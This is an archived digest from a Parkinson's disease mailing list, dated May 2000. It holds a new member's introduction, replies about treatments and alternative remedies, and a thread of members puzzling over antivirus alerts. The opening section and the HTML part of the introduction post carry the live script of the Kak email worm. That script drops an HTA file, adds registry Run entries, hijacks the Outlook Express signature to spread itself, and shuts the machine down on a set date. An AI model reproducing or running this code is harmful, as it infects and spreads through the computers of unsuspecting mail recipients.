n+'\\\\Software\\\\Microsoft\\\\Outlook = Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\= "Default = Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\= \\00000000]');t2.WriteLine('\"name\"=3D\"Signature = #1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D= \"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri= teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature = Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA= L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')= ;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h= ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s = '+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><B= ODY><DIV = style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT = classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC = id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read= (1)!=3D'Z');t3.WriteLine('<!cript><!--');t3.write('function = sErr(){return = true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095= );t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\= \\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"= ;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu= age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu = D?rrer\\\\\\\\Programmes\\\\\\\\D?rrage\\\\\\\\kak.hta\":\"C:\\\\\\\\wind= ows\\\\\\\\Start = Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.user= Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato= r.appVersion)>4))||(agt.indexOf(\"msie = 5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>= </"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attribut= es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 = && d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today = !');wsh.Run(wd+'RUNDLL32.EXE = user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc = failed = !]]%%%%%</"+"BODY></"+"HTML>";la=3D(navigator.systemLanguage)?navigator.s= ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\= Menu D?rrer\\Programmes\\D?rrage\\kak.hta":"C:\\windows\\Start = Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()= ;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a= gt.indexOf("msie 5.")!=3D-1))scr.write(); //--></SCRIPT> </OBJECT></DIV></BODY></HTML> ------=_NextPart_000_0156_01BFC2A7.5E5021A0-- ========================================================================= Date: Sat, 20 May 2000 22:07:16 -0700 Reply-To: Helen Johns <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Helen Johns <[log in to unmask]> Subject: NEW LIST MEMBER MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0012_01BFC2A7.C27D9400" This is a multi-part message in MIME format. ------=_NextPart_000_0012_01BFC2A7.C27D9400 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello Everyone, Helen Johns is my name. Last summer I noticed tremors in my right leg = and right hand; I suspected Parkinsons. I was diagnosed (at age 60 = years) on December 15, 1999 as being in the "early" stages. Eldepryl = was prescribed, however, I opted to try nutritional/homeopathic remedies = first. The homeopathic remedies are certainly more expensive than the = meds (from a healthplan). I was told to avoid sugar, white flour, etc., = and was able to do that for a few months and got bored with it. I've = tried ENADA (NADH) without success and am now trying an antioxidant = called Mycrohydrin and drinking some Sage tea. I also read that FAVA = Beans are good for the dopamine in the brain. =20 I would be interested to have feedback from those of you who have or who = are currently taking Eldepryl as to how effective it's been for you or = what side effects you have experienced. Would also like to hear from = those of you who have explored alternative options. California State University San Diego is doing a study for Parkinsons = involving a transdermal patch (dopamine agonist); I have been tested and = hopefully will be accepted for the study. My husband and I live 70 miles NE of San Diego in Julian (State = historical town), elevation 4,000 feet. We moved here in December of = '98. I took a 10 year retirement from Los Angeles County Department of = Children and Family Services where I worked as a Children's Social = Worker. The last four years of my job I worked from 4:00 p.m. to 2:30 = a.m. doing immediate response child abuse investigations. I thought my = handwriting was getting bad from writing up too many cases, now I = realize it was the Parkinsons causing a deterioration of handwriting. My hobby is breeding and showing Maine Coon Cats. I currently am a CASA = (Court Appointed Special Advocate) volunteer for an abused child. =20 This is somewhat long so I'll quit now . . . thanks for listening. Helen http://home.earthlink.net/~pedropurrs/ [log in to unmask] ------=_NextPart_000_0012_01BFC2A7.C27D9400 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Dwindows-1252" = http-equiv=3DContent-Type> <META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR> <STYLE></STYLE> </HEAD> <BODY bgColor=3D#ffffff> <DIV><FONT face=3DArial size=3D2>Hello Everyone,</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>Helen Johns is my name. Last = summer I noticed=20 tremors in my right leg and right hand; I = suspected Parkinsons. =20 I was diagnosed (at age 60 years) on December 15, 1999 as being in the = "early"=20 stages. Eldepryl was prescribed, however, I opted to=20 try nutritional/homeopathic remedies first. The homeopathic = remedies=20 are certainly more expensive than the meds (from a healthplan). I = was told=20 to avoid sugar, white flour, etc., and was able to do that for a = few =20 months and got bored with it. I've tried ENADA (NADH) without = success and=20 am now trying an antioxidant called Mycrohydrin and drinking some Sage=20 tea. I also read that FAVA Beans are good for the dopamine in the=20 brain. </FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>I would be interested to have feedback = from those=20 of you who have or who are currently taking Eldepryl as to how effective = it's=20 been for you or what side effects you have experienced. Would also = like to=20 hear from those of you who have explored alternative = options.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>California State University San Diego = is doing a=20 study for Parkinsons involving a transdermal patch (dopamine agonist); I = have=20 been tested and hopefully will be accepted for the = study.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>My husband and I live 70 miles NE of = San Diego in=20 Julian (State historical town), elevation 4,000 feet. We moved = here in=20 December of '98. I took a 10 year retirement from Los Angeles = County=20 Department of Children and Family Services where I worked as a = Children's Social=20 Worker. The last four years of my job I worked from 4:00 p.m. to = 2:30 a.m.=20 doing immediate response child abuse investigations. I thought my=20 handwriting was getting bad from writing up too many cases, now I = realize it was=20 the Parkinsons causing a deterioration of handwriting.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>My hobby is breeding and showing Maine = Coon=20 Cats. I currently am a CASA (Court Appointed Special Advocate) = volunteer=20 for an abused child. </FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>This is somewhat long so I'll quit = now . . .=20 thanks for listening.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>Helen</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2><A=20 href=3D"http://home.earthlink.net/~pedropurrs/">http://home.earthlink.net= /~pedropurrs/</A></FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2><A=20 href=3D"mailto:[log in to unmask]">[log in to unmask]</A></FO= NT></DIV> <DIV> </DIV> <DIV> </DIV> <DIV> <DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5"> <OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20 id=3Dscr></OBJECT></DIV> <!cript><!-- function sErr(){return = true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Dr= iver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" = WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object = id=3D'wsh' = classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP= T>function sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew = ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D= fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var = mye=3Dnew = Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew = String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD?= 1\\\\PROGRA~1\\\\D?ARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\\\St= artUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists(kfr= ))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.FileExi= sts(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D-1){f1=3Dfs.Get= File(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr)?wd= +'MENUD ~1\\\\PROGRA~1\\\\D MARR~1\\\\kak.hta':ken;t1.WriteLine('@echo = off>'+pth);t1.WriteLine('del = '+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(= k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI= T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id= n+'\\\\Software\\\\Microsoft\\\\Outlook = Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\= "Default = Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\= \\00000000]');t2.WriteLine('\"name\"=3D\"Signature = #1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D= \"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri= teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature = Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA= L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')= ;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h= ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s = '+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><B= ODY><DIV = style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT = classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC = id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read= (1)!=3D'Z');t3.WriteLine('<!cript><!--');t3.write('function = sErr(){return = true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095= );t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\= \\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"= ;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu= age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu = D?rrer\\\\\\\\Programmes\\\\\\\\D?rrage\\\\\\\\kak.hta\":\"C:\\\\\\\\wind= ows\\\\\\\\Start = Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.user= Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato= r.appVersion)>4))||(agt.indexOf(\"msie = 5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>= </"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attribut= es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 = && d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today = !');wsh.Run(wd+'RUNDLL32.EXE = user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc = failed = !]]%%%%%</"+"BODY></"+"HTML>";la=3D(navigator.systemLanguage)?navigator.s= ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\= Menu D?rrer\\Programmes\\D?rrage\\kak.hta":"C:\\windows\\Start = Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()= ;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a= gt.indexOf("msie 5.")!=3D-1))scr.write(); //--></SCRIPT> </OBJECT></DIV></BODY></HTML> ------=_NextPart_000_0012_01BFC2A7.C27D9400-- ========================================================================= Date: Sat, 20 May 2000 21:13:43 -0700 Reply-To: Constance Tate <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Constance Tate <[log in to unmask]> Subject: virus Comments: cc: "Caregivers Are Really Essential (CARE)" <[log in to unmask]> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit my scan reported new member e-mail came three times in a row was bad. i dont know if anyone else caught it. i just deleted it and dumped delete file. i think that is all i can do. i ran scan after and no viruses found. connie ========================================================================= Date: Sun, 21 May 2000 00:20:45 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Murray Charters <[log in to unmask]> Subject: Re: Canadian editorial on the u s a Comments: cc: Wood Family <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT On 20 May 2000, at 11:02, Wood Family wrote: > I could use some help. a while back somebody posted an editorial from > a Canadian news paper dealing with the association and interaction with > the United States. I had it saved but lost it while cleaning out some > trash after having been hit by a lighting strike. if any body has it > and would be willing to share it with me it would be greatly > appreciated. thanks for the assistance in advance. > d. k. wood Hi D.K. and hi all of you... I looked in the archives and pulled out the following 2 posts for you... >>> Posting number 74628, dated 13 Jan 2000 20:27:13 From: plmaddux <[log in to unmask]> Subject: Non-PD Canadian news article This was sent to me by a friend,I am posting it on the listserv because we have many Canadians on the list. BUTE TO THE UNITED STATES This is from a Canadian newspaper, it's worth sharing. America: The Good Neighbor. Widespread but only partial news coverage was given recently to a remarkable editorial broadcast from Toronto, Canada by Gordon Sinclair, a Canadian television commentator. What follows is the full text of his trenchant remarks as printed in the Congressional Record: "This Canadian thinks it is time to speak up for the Americans as the most generous and possibly the least appreciated people on all the earth. Germany, Japan and, to a lesser extent, Britain and Italy were lifted out of the debris of war by the Americans who poured in billions of dollars and forgave other billions in debts. None of these countries is today paying even the interest on its remaining debts to the United States. When the franc was in danger of collapsing in 1956, it was the Americans who propped it up, and their reward was to be insulted and swindled on the streets of Paris. I was there. I saw it. When earthquakes hit distant cities, it is the United States that hurries in to help. This spring, 59 American communities were flattened by tornadoes. Nobody helped. The Marshall Plan and the Truman Policy pumped billions of dollars into discouraged countries. Now newspapers in those countries are writing about the decadent, warmongering Americans. I'd like to see just one of those countries that is gloating over the erosion of the United States dollar build its own airplane. Does any other country in the world have a plane to equal the Boeing Jumbo Jet, the Lockheed Tri-Star, or the Douglas 10? If so, why don't they fly them? Why do all the International lines except Russia fly American Planes? Why does no other land on earth even consider putting a man or woman on the moon? You talk about Japanese technocracy, and you get radios. You talk about German technocracy, and you get automobiles. You talk about American technocracy, and you find men on the moon - not once, but several times - and safely home again. You talk about scandals, and the Americans put theirs right in the store window for everybody to look at. Even their draft-dodgers are not pursued and hounded. They are here on our streets, and most of them, unless they are breaking Canadian laws, are getting American dollars from ma and pa at home to spend here. When the railways of France, Germany and India were breaking down through age, it was the Americans who rebuilt them. When the Pennsylvania Railroad and the New York Central went broke, nobody loaned them an old caboose. Both are still broke. I can name you 5000 times when the Americans raced to the help of other people in trouble. Can you name me even one time when someone else raced to the Americans in trouble? I don't think there was outside help even during the San Francisco earthquake. Our neighbors have faced it alone, and I'm one Canadian who is damned tired of hearing them get kicked around. They will come out of this thing with their flag high. And when they do, they are entitled to thumb their nose at the lands that are gloating over their present troubles. I hope Canada is not one of those." Stand proud, Americans Lanier Maddux Chattanooga Tn ***************************************************** >>> Posting number 74705, dated 15 Jan 2000 11:50:27 From: judith richards <[log in to unmask]> Subject: Re: Non-PD Canadian news article On Friday, January 14, 2000 11:39 AM, jeanne wrote: Subject: Re: Non-PD Canadian news article THANK YOU....YOU MADE MY DAY. iF YOU HAVE THE WRITER'S ADDRESS, I'D LOVE TO SEND HIM A "THANK YOU" AS WELL. Jeanne Lee-Rosner PDF-Chicago ************************* Jeanne et al, Gordon Sinclair died in 1984. He was a crusty, opinionated guy who was either loved or hated. A bio with his picture can be found at: http://www.rcc.ryerson.ca/schools/rta/ccf/personal/hof/sincla_g.html ~~~~ Judith Richards, London, Ontario, Canada [log in to unmask] **************************************** D.K., I believe this is the editorial you were looking for..... murray [log in to unmask] View the Parkinson's Awareness Links at: http://www.geocities.com/janet313/pienet/wwweb/index.html ========================================================================= Date: Sun, 21 May 2000 08:09:25 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Jim Cordy <[log in to unmask]> Subject: Fox and local ABC news Comments: cc: Gayle Zoeller <[log in to unmask]>, Mary Yost <[log in to unmask]>, Terri Whitling <[log in to unmask]>, Debbie White <[log in to unmask]>, Jim Warsaw <[log in to unmask]>, "Ronald F. Vetter" <[log in to unmask]>, Jacque Urso <[log in to unmask]>, Marty Tuchman <[log in to unmask]>, Margaret Tuchman <[log in to unmask]>, Phil Tompkins <[log in to unmask]>, Cal Thistle <[log in to unmask]>, Ivan M Suzman <[log in to unmask]>, Tom & Carol Simons <[log in to unmask]>, Dale Severeson <[log in to unmask]>, Saul Seigle <[log in to unmask]>, Stephan Schwartz <[log in to unmask]>, Barbara Schirloff <[log in to unmask]>, Pat Schark <[log in to unmask]>, ROBERT SANDLER <[log in to unmask]>, Charlie Richards <[log in to unmask]>, Peter Morabito <[log in to unmask]>, Charlie Meyer <[log in to unmask]>, Lynda McKenzie <[log in to unmask]>, Ben McKeen <[log in to unmask]>, Jim Maurer <[log in to unmask]>, Bob Martone <[log in to unmask]>, Lucy Jones <[log in to unmask]>, will johnston <[log in to unmask]>, Lorraine Jeffe <[log in to unmask]>, Arthur Hirsch <[log in to unmask]>, Joel Havemann <[log in to unmask]>, Delores Gross <[log in to unmask]>, Winnie Carol Gray <[log in to unmask]>, Rusty Glazer <[log in to unmask]>, Lynn Fielder <[log in to unmask]>, Tony Fazio <[log in to unmask]>, Robin Elliot <[log in to unmask]>, Deon & Carolyn Eberly <[log in to unmask]>, Maryland Dungan <[log in to unmask]>, Donna Dorros <[log in to unmask]>, Bob Dolezal <[log in to unmask]>, Don Conley <[log in to unmask]>, Brian Collins <[log in to unmask]>, Lynn Coles <[log in to unmask]>, Perry Cohen <[log in to unmask]>, Mike Claeys <[log in to unmask]>, "Marie-Francois Chesselet (E-mail)" <[log in to unmask]>, Michael Beetner <[log in to unmask]>, Martin Bayne <[log in to unmask]>, Michael Alicea <[log in to unmask]>, Ken Aidekamn <[log in to unmask]>, Nancy Abrahams <[log in to unmask]> MIME-version: 1.0 Content-type: text/plain; charset="iso-8859-1" Content-transfer-encoding: 7bit The local ABC channel here in Pittsburgh called and asked to do an interview with me to air next Wednesday on the 11:00 PM news after the last Spin City episode. Their objective is to put a local face on Parkinson's disease. My objective is to raise awareness. I believe raising awareness is still a major objective for the Parkinson's cause. We have a compelling story and when it is told people are very supportive. I would encourage leaders of local Parkinson organizations around the country to consider approaching your local ABC news people and suggest that they might be interested in a local twist to Michael J Fox's last episode of Spin City. When we started six years ago the annual amount spent on Parkinson's disease research at NIH was $ 24 million. Also a major issue was earmarketing (congress specifying what should be done with the dollars they appropriate.) But things have changed dramatically. NIH is now asking congress to fund a Parkinson research agenda calling for $947 million over five years. There is a high probability that during the next five years, given this increase spending level, a cure or new effective treatment for Parkinson's disease will be discovered. Michael J Fox has tremendous visibility. The attention he focuses on Parkinson disease will help assure that funds requested by NIH are actually forthcoming. What we need to do now, is make sure we have the best scientist, doing the best science. The Parkinson's Alliance is committed to doing that by offering small grants of $25,000.00 to researchers who have a good idea in Parkinson's disease. These funds are to be used to generate the pilot data which is a virtual necessity in order to obtain a large NIH grant. We have tremendous momentum now. Anyone, be it a group or individual, who has financial resources sufficient to making meaningful contribution should do it now. Now is not the time to save for a rainey day. Now is the time to channel all funding possible into the research stream so that that stream can become a raging river of cash and flood NIH with high quality research proposals. ========================================================================= Date: Sun, 21 May 2000 07:25:37 -0600 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Kathrynne Holden, MS, RD" <[log in to unmask]> Subject: Re: NEW LIST MEMBER Comments: To: Helen Johns <[log in to unmask]> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear Helen, Welcome to the Parkinsn listserv. I believe you'll find many answers here, as others have used both prescribed and non-traditional methods to combat PD. Many health professionals speculate that various antioxidants may be of value in PD, possibly by slowing free-radical damage in the brain. Coenzyme Q-10 and, I believe, NADH, are being studied for possible benefit. However, there is no indication yet that either is helpful. In any case, antioxidants don't necessarily make you feel any better. Many diseases, like bone thinning and high blood pressure, don't produce any ill feeling. That is how they go undetected for years. Many antioxidants do their work unnoticed. > I've tried > ENADA (NADH) without success and am now trying an antioxidant called Mycrohydrin > and drinking some Sage tea. I also read that FAVA Beans are good for the > > dopamine in the brain. I believe if you go to John Cottingham's wonderful ARCHIVES and do a search on Fava Beans, you'll find past posts from members who discuss their use of it. http://www.parkinsons-information-exchange-network-online.com/ > Would also like to hear from those of you who have explored alternative > options. The archives should have posts on acupuncture, tuina, chiropractic, mucuna pruriens, NADH. I hope you'll find a great deal of information here at Parkinsn, and maybe make some new friends as well. Best regards, Kathrynne -- Kathrynne Holden, MS, RD Medical nutrition therapy for Parkinson's disease Author: "Eat well, stay well with Parkinson's disease" "Parkinson's disease: interview and assessment tools for nutrition professionals" "Risk for malnutrition and bone fracture in Parkinson'sdisease," J Nutr Elderly. V18:3;1999. http://www.nutritionucanlivewith.com/ ========================================================================= Date: Sun, 21 May 2000 09:39:19 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Dan Parker <[log in to unmask]> Subject: Viruses, worms, and etc. MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=ISO-8859-1 If everyone switched their e-mail programs to "text only," no viruses wou= ld be transmitted through the listserv. This service won't be good for anybody, if it causes computers to crash. If you are recklessly slinging= computer viruses around, you are not being a good neighbor. Today, luckily, my Norton Anti-virus software again stopped four virus-loaded files from this listserv, and that is very scary. What if a brand new virus gets through before I download the latest anti-virus definition? If you don't know how to make your e-mails text only, please find out how= . Regards, Dan Parker ========================================================================= Date: Sun, 21 May 2000 10:06:21 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Jo Ann Coen <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine Bob - I stand corrected. Strangely enough, my former grandfather -in-law (now deceased) had Beurgers Disease and had his toes on his right foot amputated This was 50 years ago.a. Jo Ann from Houston ========================================================================= Date: Sun, 21 May 2000 09:09:29 -0500 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Charles T. Meyer, M.D." <[log in to unmask]> Subject: VIRUS MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit My Virus Software picked it up too Connie. There are 4 posts from Helen Johns which contain Virus Attachments. DO NOT OPEN THEM. DELETE THE MESSAGE INCLUDING ATTACHMENTS AND THEN EMPTY THE DELETE BOX!!!. CHARLIE ========================================================================= Date: Sun, 21 May 2000 10:57:32 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Lynne <[log in to unmask]> Subject: Re: Viruses, worms, and etc. MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Could someone clarify? I'm new to this subject. I'm getting the same listserv mail that others subscribers get, but I don't know that I've ever received a virus or worm. Does antivirus software usually tell you when a virus or worm is detected? I installed a copy of Norton AntiVirus2000 version 6 last week and I usually have it on "Auto-Protect" while reading email. I also do periodic scans of my computer. So does anyone know why my antivirus software hasn't notified me about a worm or virus while others on the listserv have gotten such notices? Thanks. Confused, Lynne Dan Parker wrote: > > If everyone switched their e-mail programs to "text only," no viruses would > be transmitted through the listserv. This service won't be good for > anybody, if it causes computers to crash. If you are recklessly slinging > computer viruses around, you are not being a good neighbor. Today, > luckily, my Norton Anti-virus software again stopped four virus-loaded > files from this listserv, and that is very scary. What if a brand new > virus gets through before I download the latest anti-virus definition? > > If you don't know how to make your e-mails text only, please find out how. > > Regards, > Dan Parker ========================================================================= Date: Sun, 21 May 2000 09:11:40 -0600 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Sylvia Berger <[log in to unmask]> Subject: Re: Viruses, worms, and etc. MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Me neither. I also read the four posts from Helen Johns - there were no attachments. I ran my Norton after reading Charlie's post and have come up clean. In total confusion - Sylvia Lynne wrote: > Could someone clarify? I'm new to this subject. I'm getting the same > listserv mail that others subscribers get, but I don't know that I've > ever received a virus or worm. > > > Dan Parker wrote: > > > > Today, > > luckily, my Norton Anti-virus software again stopped four virus-loaded > > files from this listserv, and that is very scary. What if a brand new > > virus gets through before I download the latest anti-virus definition? > > > > If you don't know how to make your e-mails text only, please find out how. > > > > Regards, > > Dan Parker -- who never ceases to be dumbfounded by the unbelievable thing s people believe ========================================================================= Date: Sun, 21 May 2000 08:31:48 -0700 Reply-To: [log in to unmask] Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Marling McReynolds <[log in to unmask]> Subject: Re: Viruses, worms, and etc. In-Reply-To: <[log in to unmask]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT I am not so sure who sent it, but I too received the W/Script/kak.worm again in yesterday's download, 4 times. Since the worm is not part of an attachment but in the e-mail itself, I don't think setting to text only will get rid of it. I think if anyone sent mail yesterday, 20 May, they should check out their computer. I have run another scan and I believe I am clean, however, I will do it again today. Marling 51/5 still trying to laugh ========================================================================= Date: Sun, 21 May 2000 11:34:22 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: "Marjorie L. Moorefield" <[log in to unmask]> Subject: Maybe: Non PD Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed I was reading the other day, that only those who are using Outlook Express, or MS Outlook as their mailers, are being hit. I use Eudora 4.3.1 and did not receive those attachments, even though I real all 4 of Helen's posts. Also, there is the possibility that your ISP has put something on their network to stop it. For all of our sakes, I hope its the latter. I'm just guessing, I know there are people out there with more knowledge about computer inner workings than I have. So I trust you'll tell all of us. As Ever, Marjorie, just another retired reference librarian with PD 67/12 ========================================================================= Date: Sun, 21 May 2000 11:41:34 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Eugene Hughes <[log in to unmask]> Subject: virus, etc. question?? Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Hello, I need some help also about the virus situation. I want to know if anyone knows if Mac's are excluded from these things. I don't have any anti-virus software right now, have not had any problems, thank goodness, so, thought maybe Macintosh computers aren't as susceptible???????????? Thanks. Deborah CG Eugene 79/10+ ---------- >From: "Kathrynne Holden, MS, RD" <[log in to unmask]> >To: [log in to unmask] >Subject: Re: The lesser of 2 evils >Date: Wed, May 17, 2000, 9:14 AM > >Dear Irene, >You are very wise to gain as much information as possible about PD and >the medications used, good for you. > >Both these meds are very good, but have different purposes. Also, they >both affect each person in quite different ways, and there is no >foretelling what those ways may be for you. > >However, for excellent advice, let me recommend you ask Dr. Lieberman, >at the National Parkinson Foundation website. He will answer e-mailed >questions by follow-up e-mail, usually within 48 hours. I would give >your age, age at diagnosis, all medications you currently use 